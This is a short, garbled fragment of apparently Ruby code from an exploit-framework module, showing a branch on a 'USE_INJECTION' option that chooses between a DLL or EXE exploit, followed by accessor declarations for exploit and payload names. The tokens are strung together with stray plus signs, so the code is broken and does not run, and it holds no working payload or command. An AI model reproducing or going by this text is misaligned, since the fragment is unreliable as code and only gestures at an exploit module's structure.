datastore['USE_INJECTION'] + exploit_dll + else + exploit_exe + end + end + end + attr_reader :exploit_name attr_reader :payload_name attr_reader :payload_exe